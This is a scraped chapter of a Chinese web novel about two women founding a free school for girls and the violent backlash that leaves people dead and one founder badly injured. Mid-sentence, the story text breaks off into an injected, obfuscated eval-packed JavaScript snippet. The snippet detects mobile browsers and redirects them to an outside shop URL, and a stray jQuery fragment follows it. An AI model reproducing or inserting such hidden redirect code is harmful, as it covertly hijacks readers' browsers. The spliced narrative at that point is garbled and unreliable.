默认冷灰
24号文字
方正启体

37. 尸横遍野

作者:零卡三色杯本书字数:K更新时间:
    他们非常清楚,最可怕的不是女人的才华,而是一个毫无根基的女人竟有了触碰他们核心利益的念头。


    可程掌珠不知道,她还在呲个大牙傻乐,觉得这也不是很难嘛。


    别人不敢做的事,她敢。


    别人做不成的事,不代表她也做不成。


    程掌珠坚信,既然能出第一个孟卓尔,就能出第二个,第三个,无数个。


    她看孟卓尔的很多个瞬间,眼里的欣赏是怎么藏也藏不住的。


    怎么就这么优秀呢?


    这么优秀的孩子,竟然跟自己是同一个性别。


    嘿嘿,真好。


    她想,如果是她们的话,一定能够改变这个世界的。


    好巧不巧,当时有几个弹丸小国一直在边境挑衅,程掌珠派了几只玄武营的精卫去打了好几次,可他们跟蟑螂似的,你一动他就跑,你一打他就骂。


    不咬人纯膈应人。


    程掌珠烦不胜烦,和沈图南商量了一下,打算一起带兵出征,至于女学的那些事,她放心地交给了孟卓尔去处理。


    临走的那一天,她眉眼弯弯,看着孟卓尔的眼神像是在看自己最完美的作品。


    她说,带着其他女孩子一起去看吧。


    走出后宅,去看山川湖海,经历人世百态。


    孟卓尔的眼里有着细碎的光,毫不犹豫地点头。


    彼时的孟卓尔也不过才十八九岁,正是少年意气的年纪。总觉得世界上的一切美好都应该尽在她掌握之中,世界上的一切不堪都应该尽在她脚下。


    所以她发誓,一定要让这个国家变得更好。


    程掌珠作为女学的核心创办人,有很多贵女都是冲着她才留下的。


    其实这事说来也挺让人唏嘘的。


    不知是谁传出了消息,说程掌珠一定会是未来的皇后,很多朝臣为了巴结程掌珠,就把自家的女儿送过去了。


    也没问她们同不同意,喜不喜欢,愿不愿意。


    那些贵女们原以为只是普通的私塾,并没有怎么放在心上,也深知父兄把自己送来的目的是什么,几乎都削尖了脑袋想在程掌珠面前露脸。


    可第一课,程掌珠并没有让她们把自己的拿手绝活展现出来,也没看她们任何一个人送上的礼物,只是严肃地问了她们一个问题:


    你想成为什么样的人?


    与家族无关,与家人无关,与任何外在干扰因素都无关。


    抛却这一切,你想成为一个什么样的人?


    女子们一瞬间都陷入了茫然。


    老实说,她们不知道。


    家中的男丁自从被生下来起就被长辈们耳提面命,要成为国之栋梁,要考科举,要入朝为官,要封侯拜相。


    可她们呢?


    没有人跟她们叮嘱过任何有意义的东西。


    说的最多的无非就是不要做有辱门楣的事,不要让父兄面上无光。


    可从来没有人问过她们想要成为什么样的人。


    程掌珠微微一笑,示意她们聚拢过来,提笔,蘸墨,一气呵成。


    两句荡气回肠的诗跃然纸上。


    “休言女子非英物,夜夜龙泉壁上鸣。”


    私塾内一时针落可闻。


    程掌珠温柔地看着他们,像是在看这个国家的未来,她说,“这就是我们的第一堂课了。”


    她让她们把自己最想要成为的人、最想要做的事用纸和笔写下来,无所谓现不现实,无所谓是否可行,只要是她发自内心想做的事,想要成为的人,便都可以。


    然后折起来,把那些纸条放在一个小盒子里,约定等到学成之后再一起打开,看看距离这个目标有没有越来越近。


    众多贵女交头接耳。


    她们哪里见过这样的授课方式,虽然离经叛道,倒真的让她们来了兴趣,原本只是打算来走个过场,可现在,她们是真的想要继续上下去。


    看看这个所谓的山长,所谓的未来的皇后能给她们带来怎样的惊喜。


    第二堂课也随之而来。


    来的人数较第一堂课而言少了几个,但并不算多。


    程掌珠在心底暗暗松了口气。


    这是她意料之中的结果。


    这次,程掌珠问了她们另一个问题:“谁告诉你你不能够成为纸上的那个人,不能够做纸上提到的那些事?把他们写下来,记在纸上。”


    这次,女孩们写的时间甚至比第一次还要长。


    因为太多了。


    要写的人太多了。


    不只是她们的父亲,兄弟,甚至是连她们的母亲、婆姨都说过类似的话。


    不知何时起,书塾里竟然响起了几声抽泣。


    程掌珠突然就想起来很久以前,在军营里的时候,听过几个来混军功的世家子弟曾经调笑着说,女子嘛,最是心软,也最是记吃不记打。


    你对她再坏,再恶劣,偶尔只是给她们那么一点甜,露出指甲缝里面的一点好,她们就会感恩戴德,对你死心塌地。


    为什么会这样呢?


    还不是因为她们从小到大接受的否定、不公正的待遇以及批判太多了吗?


    程掌珠默不作声,然后,当着她们的面把那些纸条付诸一炬。


    眼神冰冷,像是在烧什么恶心的垃圾。


    女孩们一脸不可置信。


    但不可否认的,在那些纸条被烧成灰烬时,她们心头骤然一松。


    仿佛有什么禁锢在一瞬间彻底消失了。


    后来一切都变得顺利许多。


    越学,女孩们就越是专注。


    越学,她们眼中的光就越来越亮。


    不知何时起,朝中的大臣们发现自家的女眷竟然都有些不听话了。


    她们会在吃饭的时候和自己顶嘴,不愿意再听自己的话,甚至还扬言不想成婚,要去外面闯荡。


    没人当回事,他们只当是自家养的宠物在使小性子。


    可恐怖的是,后来这股风潮不仅仅只流传在权贵家的女眷中,在平民百姓之中也同样泛滥成灾。


    因为程掌珠的女学是不需要交束脩的,只要是个女子就能去读书。


    也不乏有人去指责她,同样都是接收学生,为什么只接受女学生不接受男学生,难道那些没钱上学的男孩就活该碌碌无为一辈子吗?


    听了这话,程掌珠只是冷笑一声。


    她最烦这种站在道德制高点道貌岸然的理中客。


    同等贫穷的境遇下,一个男人和一个女人,谁受到的不公平待遇会更多,谁的一生会更难熬?


    答案显而易见。


    他却还在这里跟那些本就一无所有的女孩们争夺那仅仅一点点的读书权。


    程掌珠心想


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17524114|203150||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,畜生都干不出来这种事。


    孟卓尔也曾经不止一次的问她究竟从哪来的钱,她们虽然穷,可不能去偷去抢。


    程掌珠支支吾吾说反正她有招。


    后来女学越做越大,也不乏有几家位高权重的夫人会在暗地里帮她一把。


    久而久之,女学竟然也真的在大昉占据了一席之地。


    可不知从何时起,风向变了。


    越来越多的人开始厌恶那群女学生自视清高的模样,尤其是在这个以父权为尊的时代中,她们竟然敢当着他们的面提出所谓的不同意见。


    男人们对此感到无比厌烦。


    一开始还只是口头上争执两句,可不知从什么时候起,语言上的矛盾逐渐演化成了拳脚相向。


    更有甚者索性自行组成了队伍,看到女学就砸,看到女子就打。


    最后,彻底不装了。


    孟卓尔当然也知道这件事,带着一队程掌珠留下的私兵就要去帮忙,可当时她在朝中已经引起了不少守旧派大臣的不满,屡屡被挑刺找错,忙得焦头烂额。


    等她好不容易赶到时,已经晚了。


    女子们看向她的目光变了。


    不是你让我们走出来的吗?


    不是你说我可以的吗?


    我被打的时候你在哪里?


    我们不是人吗?


    骗子。


    都是骗子!


    一块石头擦过了孟卓尔的额角,留下了一道深深的血痕。


    孟卓尔愣住。


    因为那是一个小姑娘扔的。


    女孩满眼是泪,“是你!是你害了我爹娘!你为什么不去死?”


    在她身后是两具尸体。


    他娘也想出门读书,被她父亲阻拦,一时不察,失手打死了她。


    他爹被孟卓尔的人送去府衙,秉公处理,在前几年程掌珠的极力推动下,大昉通过了新的法律条文,凡是杀妻者,皆需偿命。


    因此,女孩子的父亲没过多久也惨死狱中。


    她成了孤儿。


    所以,她恨孟卓尔。


    如果孟卓尔和程掌珠没做得那么偏激,那么女孩的父母都不会死。


    孟卓尔的嘴唇动了动,脸上几乎毫无血色。


    第一次,她开始怀疑自己。


    有了第一个,就有第二个,第三个。


    无数个石块和垃圾像是密集的雨点一般铺天盖地砸下,私兵想护着孟卓尔离开,她却一反常态,岿然不动,默默地任由众人宣泄怒火。


    那些石头和垃圾密不透风的如同一张巨网向她袭来,孟卓尔遍体鳞伤,额角上的血大片大片地流下来,遮住了她望向远处的视线。


    很难说清那一刻她究竟在想些什么,又也许,她其实什么都没有想。


    程掌珠曾经夸过她,当初之所以在一众贵女之间挑中她就是因为孟卓尔的脊背无论何时都是挺直的,如松如柏,傲骨不折。


    可是现在,她的背一寸寸弯了下去。


    在众人不可置信的目光中,孟卓尔的身体晃了晃,最终还是向前倒去。


    是她的问题。


    是她没做好。


    一场男女间的对立,最终换来了惨痛的代价。


    女子们的反抗,换来的是尸横遍野。


    而号召这一切的二人,一个不见踪影,一个奄奄一息。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)